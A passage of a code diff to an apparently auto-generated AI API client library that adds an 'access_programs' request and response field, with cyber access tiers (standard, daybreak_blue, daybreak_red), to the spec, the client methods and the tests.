.../beta/beta_responses_client_event_param.py | 22 ++++
.../types/beta/response_create_params.py | 22 ++++
src/openai/types/responses/response.py | 8 ++
.../types/responses/response_create_params.py | 22 ++++
.../types/responses/responses_client_event.py | 22 ++++
.../responses/responses_client_event_param.py | 22 ++++
tests/api_resources/beta/test_responses.py | 4 +
tests/api_resources/test_responses.py | 4 +
14 files changed, 320 insertions(+), 12 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 274aa342a4..6dcb8dac9b 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 4bda3ef4-13a5-473f-b0cd-6fa6b69a0db8
-openapi_spec_hash: 6fbcb590bdf88b5d464546b290ab35e7
-openapi_transformed_spec_hash: 4e4a94f25153ab253178d6c098cb4f0e
+generation_id: 70ad7603-83a5-4db8-97b3-76c0cf3196e8
+openapi_spec_hash: 23eb05a2b73fe60c23dec5feb7769f0a
+openapi_transformed_spec_hash: 615a532c7252954855cd0bbe2ff0497e
config_hash: 84cdcc959ee7140cc9a65e9b642c097b
-codegen_sha: c11ad8ad6a402c5cabfff79093c308035fe39644
-codegen_hash: dc4765fced94aa65178e5fbda91d2844a712ac8d8e8b7fd8993fde98dbb1cb04
-public_codegen_sha: d54ac7ae41705340870935d4d6484843cb5d9d29
+codegen_sha: cbf609de1b0c7bf94f1f0f32420a52115e81e342
+codegen_hash: 00cbf71f86ddc065a2723904e6278536d5df43407f3da7a7a0e1c3e4935ade07
+public_codegen_sha: 52c7dfd5aeab7f96da958a8cc5a810567c95be63
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 3c69cd5bb0..9a94489cad 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -16740,6 +16740,7 @@ paths:
{
"id": "resp_67ccd2bed1ec8190b14f964abc0542670bb6a6b452d3795b",
"object": "response",
+ "access_programs": null,
"created_at": 1741476542,
"status": "completed",
"completed_at": 1741476543,
@@ -16889,6 +16890,7 @@ paths:
{
"id": "resp_67ccd3a9da748190baa7f1570fe91ac604becb25c45c1d41",
"object": "response",
+ "access_programs": null,
"created_at": 1741476777,
"status": "completed",
"completed_at": 1741476778,
@@ -17016,6 +17018,7 @@ paths:
{
"id": "resp_686eef60237881a2bd1180bb8b13de430e34c516d176ff86",
"object": "response",
+ "access_programs": null,
"created_at": 1752100704,
"status": "completed",
"completed_at": 1752100705,
@@ -17138,6 +17141,7 @@ paths:
{
"id": "resp_67ccf18ef5fc8190b16dbee19bc54e5f087bb177ab789d5c",
"object": "response",
+ "access_programs": null,
"created_at": 1741484430,
"status": "completed",
"completed_at": 1741484431,
@@ -17310,6 +17314,7 @@ paths:
{
"id": "resp_67ccf4c55fc48190b71bd0463ad3306d09504fb6872380d7",
"object": "response",
+ "access_programs": null,
"created_at": 1741485253,
"status": "completed",
"completed_at": 1741485254,
@@ -17507,10 +17512,10 @@ paths:
}
response: |
event: response.created
- data: {"type":"response.created","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
+ data: {"type":"response.created","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","access_programs":null,"created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
event: response.in_progress
- data: {"type":"response.in_progress","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
+ data: {"type":"response.in_progress","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","access_programs":null,"created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
event: response.output_item.added
data: {"type":"response.output_item.added","output_index":0,"item":{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"in_progress","role":"assistant","content":[]}}
@@ -17533,7 +17538,7 @@ paths:
data: {"type":"response.output_item.done","output_index":0,"item":{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}}
event: response.completed
- data: {"type":"response.completed","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"completed","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":{"input_tokens":37,"output_tokens":11,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":48},"user":null,"metadata":{}}}
+ data: {"type":"response.completed","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","access_programs":null,"created_at":1741290958,"status":"completed","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":{"input_tokens":37,"output_tokens":11,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":48},"user":null,"metadata":{}}}
- title: Functions
request:
curl: |
@@ -17674,6 +17679,7 @@ paths:
{
"id": "resp_67ca09c5efe0819096d0511c92b8c890096610f474011cc0",
"object": "response",
+ "access_programs": null,
"created_at": 1741294021,
"status": "completed",
"completed_at": 1741294022,
@@ -17812,6 +17818,7 @@ paths:
{
"id": "resp_67ccd7eca01881908ff0b5146584e408072912b2993db808",
"object": "response",
+ "access_programs": null,
"created_at": 1741477868,
"status": "completed",
"completed_at": 1741477869,
@@ -17952,6 +17959,7 @@ paths:
{
"id": "resp_67cb71b351908190a308f3859487620d06981a8637e6bc44",
"object": "response",
+ "access_programs": null,
"created_at": 1741386163,
"status": "completed",
"completed_at": 1741386164,
@@ -18116,6 +18124,7 @@ paths:
{
"id": "resp_67cb71b351908190a308f3859487620d06981a8637e6bc44",
"object": "response",
+ "access_programs": null,
"created_at": 1741386163,
"status": "cancelled",
"background": true,
@@ -28883,6 +28892,7 @@ paths:
{
"id": "resp_67ccd2bed1ec8190b14f964abc0542670bb6a6b452d3795b",
"object": "response",
+ "access_programs": null,
"created_at": 1741476542,
"status": "completed",
"completed_at": 1741476543,
@@ -29032,6 +29042,7 @@ paths:
{
"id": "resp_67ccd3a9da748190baa7f1570fe91ac604becb25c45c1d41",
"object": "response",
+ "access_programs": null,
"created_at": 1741476777,
"status": "completed",
"completed_at": 1741476778,
@@ -29159,6 +29170,7 @@ paths:
{
"id": "resp_686eef60237881a2bd1180bb8b13de430e34c516d176ff86",
"object": "response",
+ "access_programs": null,
"created_at": 1752100704,
"status": "completed",
"completed_at": 1752100705,
@@ -29281,6 +29293,7 @@ paths:
{
"id": "resp_67ccf18ef5fc8190b16dbee19bc54e5f087bb177ab789d5c",
"object": "response",
+ "access_programs": null,
"created_at": 1741484430,
"status": "completed",
"completed_at": 1741484431,
@@ -29453,6 +29466,7 @@ paths:
{
"id": "resp_67ccf4c55fc48190b71bd0463ad3306d09504fb6872380d7",
"object": "response",
+ "access_programs": null,
"created_at": 1741485253,
"status": "completed",
"completed_at": 1741485254,
@@ -29650,10 +29664,10 @@ paths:
}
response: |
event: response.created
- data: {"type":"response.created","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
+ data: {"type":"response.created","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","access_programs":null,"created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
event: response.in_progress
- data: {"type":"response.in_progress","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
+ data: {"type":"response.in_progress","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","access_programs":null,"created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
event: response.output_item.added
data: {"type":"response.output_item.added","output_index":0,"item":{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"in_progress","role":"assistant","content":[]}}
@@ -29676,7 +29690,7 @@ paths:
data: {"type":"response.output_item.done","output_index":0,"item":{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}}
event: response.completed
- data: {"type":"response.completed","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"completed","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":{"input_tokens":37,"output_tokens":11,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":48},"user":null,"metadata":{}}}
+ data: {"type":"response.completed","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","access_programs":null,"created_at":1741290958,"status":"completed","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":{"input_tokens":37,"output_tokens":11,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":48},"user":null,"metadata":{}}}
- title: Functions
request:
curl: |
@@ -29817,6 +29831,7 @@ paths:
{
"id": "resp_67ca09c5efe0819096d0511c92b8c890096610f474011cc0",
"object": "response",
+ "access_programs": null,
"created_at": 1741294021,
"status": "completed",
"completed_at": 1741294022,
@@ -29955,6 +29970,7 @@ paths:
{
"id": "resp_67ccd7eca01881908ff0b5146584e408072912b2993db808",
"object": "response",
+ "access_programs": null,
"created_at": 1741477868,
"status": "completed",
"completed_at": 1741477869,
@@ -30122,6 +30138,7 @@ paths:
{
"id": "resp_67cb71b351908190a308f3859487620d06981a8637e6bc44",
"object": "response",
+ "access_programs": null,
"created_at": 1741386163,
"status": "completed",
"completed_at": 1741386164,
@@ -30312,6 +30329,7 @@ paths:
{
"id": "resp_67cb71b351908190a308f3859487620d06981a8637e6bc44",
"object": "response",
+ "access_programs": null,
"created_at": 1741386163,
"status": "cancelled",
"background": true,
@@ -37959,6 +37977,8 @@ components:
- $ref: '#/components/schemas/ResponseProperties'
- type: object
properties:
+ access_programs:
+ $ref: '#/components/schemas/AccessProgramsParam'
prompt_cache_options:
$ref: '#/components/schemas/ResponsePromptCacheOptionsParam'
service_tier:
@@ -56531,6 +56551,10 @@ components:
- cancelled
- queued
- incomplete
+ access_programs:
+ anyOf:
+ - $ref: '#/components/schemas/AccessProgramsBody'
+ - type: 'null'
created_at:
type: number
format: unixtime
@@ -56643,6 +56667,7 @@ components:
type: integer
- type: 'null'
required:
+ - access_programs
- id
- object
- created_at
@@ -57002,6 +57027,7 @@ components:
"response": {
"id": "resp_123",
"object": "response",
+ "access_programs": null,
"created_at": 1740855869,
"status": "completed",
"completed_at": 1740855870,
@@ -57249,6 +57275,7 @@ components:
"response": {
"id": "resp_67ccfcdd16748190a91872c75d38539e09e4d4aac714747c",
"object": "response",
+ "access_programs": null,
"created_at": 1741487325,
"status": "in_progress",
"completed_at": null,
@@ -57484,6 +57511,7 @@ components:
"response": {
"id": "resp_123",
"object": "response",
+ "access_programs": null,
"created_at": 1740855869,
"status": "failed",
"completed_at": null,
@@ -58022,6 +58050,7 @@ components:
"response": {
"id": "resp_67ccfcdd16748190a91872c75d38539e09e4d4aac714747c",
"object": "response",
+ "access_programs": null,
"created_at": 1741487325,
"status": "in_progress",
"completed_at": null,
@@ -58090,6 +58119,7 @@ components:
"response": {
"id": "resp_123",
"object": "response",
+ "access_programs": null,
"created_at": 1740855869,
"status": "incomplete",
"completed_at": null,
@@ -71043,6 +71073,21 @@ components:
- type
title: Specific shell tool choice
description: Forces the model to call the shell tool when a tool call is required.
+ CyberAccessProgramEnum:
+ type: string
+ enum:
+ - standard
+ - daybreak_blue
+ - daybreak_red
+ AccessProgramsParam:
+ properties:
+ cyber:
+ $ref: '#/components/schemas/CyberAccessProgramEnum'
+ description: The Cyber access program to use for this request. Supported values are `standard`, `daybreak_blue`, and `daybreak_red`. If omitted, the API resolves the program from the model's Cyber tier and your organization and project access, subject to model-specific eligibility restrictions. By default, models without a Cyber tier use Standard. Blue-tier models use Daybreak Blue when authorized; otherwise they fall back to Standard unless the model requires Daybreak access. Red-tier models use Daybreak Red and require authorization. Requests that require unavailable Daybreak access return 403. An implicit Standard fallback is represented by null in the response's access_programs field, rather than an explicit Standard selection.
+ additionalProperties: false
+ type: object
+ required: []
+ description: Domain-specific access programs to use for this request.
ResponsePromptCacheOptionsParam:
properties:
ttl:
@@ -71096,6 +71141,14 @@ components:
type: object
required:
- type
+ AccessProgramsBody:
+ properties:
+ cyber:
+ $ref: '#/components/schemas/CyberAccessProgramEnum'
+ description: The effective Cyber access program used for this response.
+ type: object
+ required:
+ - cyber
PromptCacheOptions:
properties:
ttl:
@@ -90837,6 +90890,10 @@ components:
- cancelled
- queued
- incomplete
+ access_programs:
+ anyOf:
+ - $ref: '#/components/schemas/BetaAccessProgramsBody'
+ - type: 'null'
created_at:
type: number
format: unixtime
@@ -90949,6 +91006,7 @@ components:
type: integer
- type: 'null'
required:
+ - access_programs
- id
- object
- created_at
@@ -91241,6 +91299,20 @@ components:
- empty_image_file
- failed_to_download_image
- image_file_not_found
+ BetaAccessProgramsBody:
+ properties:
+ cyber:
+ $ref: '#/components/schemas/BetaCyberAccessProgramEnum'
+ description: The effective Cyber access program used for this response.
+ type: object
+ required:
+ - cyber
+ BetaCyberAccessProgramEnum:
+ type: string
+ enum:
+ - standard
+ - daybreak_blue
+ - daybreak_red
BetaServiceTierResponses:
anyOf:
- type: string
@@ -92824,6 +92896,7 @@ components:
"response": {
"id": "resp_67ccfcdd16748190a91872c75d38539e09e4d4aac714747c",
"object": "response",
+ "access_programs": null,
"created_at": 1741487325,
"status": "in_progress",
"completed_at": null,
@@ -93352,6 +93425,7 @@ components:
"response": {
"id": "resp_67ccfcdd16748190a91872c75d38539e09e4d4aac714747c",
"object": "response",
+ "access_programs": null,
"created_at": 1741487325,
"status": "in_progress",
"completed_at": null,
@@ -93543,6 +93617,7 @@ components:
"response": {
"id": "resp_123",
"object": "response",
+ "access_programs": null,
"created_at": 1740855869,
"status": "completed",
"completed_at": 1740855870,
@@ -94008,6 +94083,7 @@ components:
"response": {
"id": "resp_123",
"object": "response",
+ "access_programs": null,
"created_at": 1740855869,
"status": "incomplete",
"completed_at": null,
@@ -94075,6 +94151,7 @@ components:
"response": {
"id": "resp_123",
"object": "response",
+ "access_programs": null,
"created_at": 1740855869,
"status": "failed",
"completed_at": null,
@@ -95996,6 +96073,8 @@ components:
- $ref: '#/components/schemas/BetaResponseProperties'
- type: object
properties:
+ access_programs:
+ $ref: '#/components/schemas/BetaAccessProgramsParam'
prompt_cache_options:
$ref: '#/components/schemas/BetaResponsePromptCacheOptionsParam'
service_tier:
@@ -96220,6 +96299,15 @@ components:
required: []
title: Prompt cache options
description: Options for prompt caching. Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
+ BetaAccessProgramsParam:
+ properties:
+ cyber:
+ $ref: '#/components/schemas/BetaCyberAccessProgramEnum'
+ description: The Cyber access program to use for this request. Supported values are `standard`, `daybreak_blue`, and `daybreak_red`. If omitted, the API resolves the program from the model's Cyber tier and your organization and project access, subject to model-specific eligibility restrictions. By default, models without a Cyber tier use Standard. Blue-tier models use Daybreak Blue when authorized; otherwise they fall back to Standard unless the model requires Daybreak access. Red-tier models use Daybreak Red and require authorization. Requests that require unavailable Daybreak access return 403. An implicit Standard fallback is represented by null in the response's access_programs field, rather than an explicit Standard selection.
+ additionalProperties: false
+ type: object
+ required: []
+ description: Domain-specific access programs to use for this request.
BetaCreateModelResponseProperties:
allOf:
- $ref: '#/components/schemas/BetaModelResponseProperties'
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index 7bccb4cbad..5e8cbf3782 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -112,6 +112,7 @@ def with_streaming_response(self) -> ResponsesWithStreamingResponse:
def create(
self,
*,
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -280,6 +281,8 @@ def create(
to use your own data as input for the model's response.
Args:
+ access_programs: Domain-specific access programs to use for this request.
+
background: Whether to run the model response in the background.
[Learn more](https://developers.openai.com/api/docs/guides/background).
@@ -519,6 +522,7 @@ def create(
self,
*,
stream: Literal[True],
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -693,6 +697,8 @@ def create(
[Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
+ access_programs: Domain-specific access programs to use for this request.
+
background: Whether to run the model response in the background.
[Learn more](https://developers.openai.com/api/docs/guides/background).
@@ -925,6 +931,7 @@ def create(
self,
*,
stream: bool,
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -1099,6 +1106,8 @@ def create(
[Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
+ access_programs: Domain-specific access programs to use for this request.
+
background: Whether to run the model response in the background.
[Learn more](https://developers.openai.com/api/docs/guides/background).
@@ -1329,6 +1338,7 @@ def create(
def create(
self,
*,
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -1490,6 +1500,7 @@ def create(
"/responses?beta=true",
body=maybe_transform(
{
+ "access_programs": access_programs,
"background": background,
"context_management": context_management,
"conversation": conversation,
@@ -2114,6 +2125,7 @@ def with_streaming_response(self) -> AsyncResponsesWithStreamingResponse:
async def create(
self,
*,
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -2282,6 +2294,8 @@ async def create(
to use your own data as input for the model's response.
Args:
+ access_programs: Domain-specific access programs to use for this request.
+
background: Whether to run the model response in the background.
[Learn more](https://developers.openai.com/api/docs/guides/background).
@@ -2521,6 +2535,7 @@ async def create(
self,
*,
stream: Literal[True],
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -2695,6 +2710,8 @@ async def create(
[Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
+ access_programs: Domain-specific access programs to use for this request.
+
background: Whether to run the model response in the background.
[Learn more](https://developers.openai.com/api/docs/guides/background).
@@ -2927,6 +2944,7 @@ async def create(
self,
*,
stream: bool,
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -3101,6 +3119,8 @@ async def create(
[Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
+ access_programs: Domain-specific access programs to use for this request.
+
background: Whether to run the model response in the background.
[Learn more](https://developers.openai.com/api/docs/guides/background).
@@ -3331,6 +3351,7 @@ async def create(
async def create(
self,
*,
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -3492,6 +3513,7 @@ async def create(
"/responses?beta=true",
body=await async_maybe_transform(
{
+ "access_programs": access_programs,
"background": background,
"context_management": context_management,
"conversation": conversation,
@@ -5195,6 +5217,7 @@ class ResponsesResponseResource(BaseResponsesConnectionResource):
def create(
self,
*,
+ access_programs: beta_responses_client_event_param.ResponseCreateAccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[beta_responses_client_event_param.ResponseCreateContextManagement]]
| Omit = omit,
@@ -5359,6 +5382,7 @@ def create(
strip_not_given(
{
"type": "response.create",
+ "access_programs": access_programs,
"background": background,
"context_management": context_management,
"conversation": conversation,
@@ -5449,6 +5473,7 @@ class AsyncResponsesResponseResource(BaseAsyncResponsesConnectionResource):
async def create(
self,
*,
+ access_programs: beta_responses_client_event_param.ResponseCreateAccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[beta_responses_client_event_param.ResponseCreateContextManagement]]
| Omit = omit,
@@ -5613,6 +5638,7 @@ async def create(
strip_not_given(
{
"type": "response.create",
+ "access_programs": access_programs,
"background": background,
"context_management": context_management,
"conversation": conversation,
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index 5fb62c3740..7760ae943a 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -138,6 +138,7 @@ def with_streaming_response(self) -> ResponsesWithStreamingResponse:
def create(
self,
*,
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -191,6 +192,8 @@ def create(
to use your own data as input for the model's response.
Args:
+ access_programs: Domain-specific access programs to use for this request.
+
background: Whether to run the model response in the background.
[Learn more](https://developers.openai.com/api/docs/guides/background).
@@ -428,6 +431,7 @@ def create(
self,
*,
stream: Literal[True],
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -487,6 +491,8 @@ def create(
[Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
+ access_programs: Domain-specific access programs to use for this request.
+
background: Whether to run the model response in the background.
[Learn more](https://developers.openai.com/api/docs/guides/background).
@@ -717,6 +723,7 @@ def create(
self,
*,
stream: bool,
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -776,6 +783,8 @@ def create(
[Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
+ access_programs: Domain-specific access programs to use for this request.
+
background: Whether to run the model response in the background.
[Learn more](https://developers.openai.com/api/docs/guides/background).
@@ -1004,6 +1013,7 @@ def create(
def create(
self,
*,
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
conversation: Optional[response_create_params.Conversation] | Omit = omit,
@@ -1046,6 +1056,7 @@ def create(
"/responses",
body=maybe_transform(
{
+ "access_programs": access_programs,
"background": background,
"context_management": context_management,
"conversation": conversation,
@@ -1115,6 +1126,7 @@ def stream(
*,
input: Union[str, ResponseInputParam],
model: ResponsesModel,
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
text_format: type[TextFormatT] | Omit = omit,
@@ -1158,6 +1170,7 @@ def stream(
response_id: str | Omit = omit,
input: Union[str, ResponseInputParam] | Omit = omit,
model: ResponsesModel | Omit = omit,
+ access_programs: response_create_params.AccessPrograms | Omit = omit,
background: Optional[bool] | Omit = omit,
context_management: Optional[Iterable[response_create_params.ContextManagement]] | Omit = omit,
text_format: type[TextFormatT] | Omit = omit,
@@ -1196,6 +1209,7 @@ def stream(
timeout: float | httpx2.Timeout | None | NotGiven = NOT_GIVEN,
) -> ResponseStreamManager[TextFormatT]:
new_response_args = {
+ "access_programs": access_programs,
"input": input,
"model": model,
"context_management": context_management,
@@ -1253,6 +1267,7 @@ def stream(
api_request: partial[Stream[ResponseStreamEvent]] = partial(
self.create,
+ access_programs=access_programs,
input=input,
model=model,
tools=tools,
@@ -1320,6 +1335,7 @@ def parse(
self,
*,
text_format: type[TextFormatT] | Omit = omit,
